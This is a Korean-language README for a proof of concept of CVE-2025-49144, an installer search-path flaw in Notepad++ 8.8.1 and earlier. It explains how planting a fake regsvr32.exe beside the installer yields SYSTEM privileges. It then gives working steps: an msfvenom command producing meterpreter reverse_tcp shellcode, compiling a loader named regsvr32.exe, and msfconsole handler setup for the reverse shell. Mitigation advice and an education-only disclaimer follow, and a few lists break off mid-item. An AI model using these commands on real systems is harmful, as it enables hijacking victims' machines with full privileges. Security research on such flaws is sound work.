
보안 연구원이 테스트하고 시도해 볼 수 있는 CVE-2025-49144 PoC.

📌 CVE-2025-49144는 Notepad++ v8.8.1 및 이전 버전 설치 프로그램에서 발견된 심각도가 높은 로컬 권한 상승 취약점입니다. 이 취약점은 설치 중 제어되지 않은 실행 파일 검색 경로 동작으로 인해 발생하며, 로컬 공격자가 설치 프로그램과 동일한 디렉토리에 악성 실행 파일을 배치하여 SYSTEM 수준의 권한을 얻을 수 있게 합니다.
⚙️ CVE 작동 방식 – 단계별 설명:
🧱 1. 설치 프로그램에서 무엇이 잘못되었나요?
Notepad++ 설치 프로그램(v8.8.2 이전)은 regsvr32.exe를 호출하여 일부 구성 요소를 등록하지만, 전체 경로(예: C:\Windows\System32\regsvr32.exe)를 지정하지 않습니다.
대신, 단순히 다음을 실행합니다:
regsvr32.exe some_dll
📂 2. Windows 검색 경로 동작:
실행 파일이 전체 경로 없이 실행되면 Windows는 특정 검색 순서를 사용하여 파일을 찾습니다:
따라서, 가짜 regsvr32.exe가 설치 프로그램과 동일한 폴더(예: Downloads)에 배치되면 Windows는 실제 파일보다 먼저 이를 사용합니다.
💣 3. 악용:
- 공격자는 합법적인 Notepad++ 설치 프로그램과 동일한 폴더(예: 피해자의 Downloads 폴더)에 악성 regsvr32.exe를 배치합니다.
- 피해자가 설치 프로그램을 실행합니다(안전하다고 생각함).
- 설치 프로그램이 regsvr32.exe를 호출하지만, 결국 동일한 폴더에 있는 악성 파일을 실행합니다 — SYSTEM 권한으로 실행됩니다(설치 프로그램은 일반적으로 관리자 권한을 요청하기 때문).
- 이제 공격자의 페이로드가 NT AUTHORITY\SYSTEM으로 실행됩니다.
⚙️ 재현 단계:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=4444 -f c > shellcode.txt
x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST X.X.X.X
set LPORT 4444
run
참고: 이는 PoC이므로 Windows Defender 및 실시간 보호를 비활성화한 상태에서 테스트되었습니다.
✅ 완화 방법
사용자와 관리자는 다음을 수행해야 합니다:
Notepad++ v8.8.2 이상으로 업그레이드
소프트웨어 설치를 신뢰할 수 있는 관리자로 제한
AppLocker, WDAC 또는 소프트웨어 제한 정책(SRP)을 사용하여:
보안 팀은 정기적으로 설치 경로를 감사하고, 쓰기 권한을 모니터링하며, 설치 프로그램 실행 중 동작을 관찰하여 공격 표면을 줄여야 합니다.
MIT 라이선스 — 교육, 연구 및 방어 목적으로만 무료로 사용할 수 있습니다.
Pull Request를 환영합니다 — 탐지 기능 개선, 기능 추가 또는 수정 제안.
이 PoC는 교육 및 연구 목적으로만 제공됩니다. 사용에 따른 위험은 본인이 부담합니다. 작성자는 어떠한 오용이나 발생한 손해에 대해 책임을 지지 않습니다.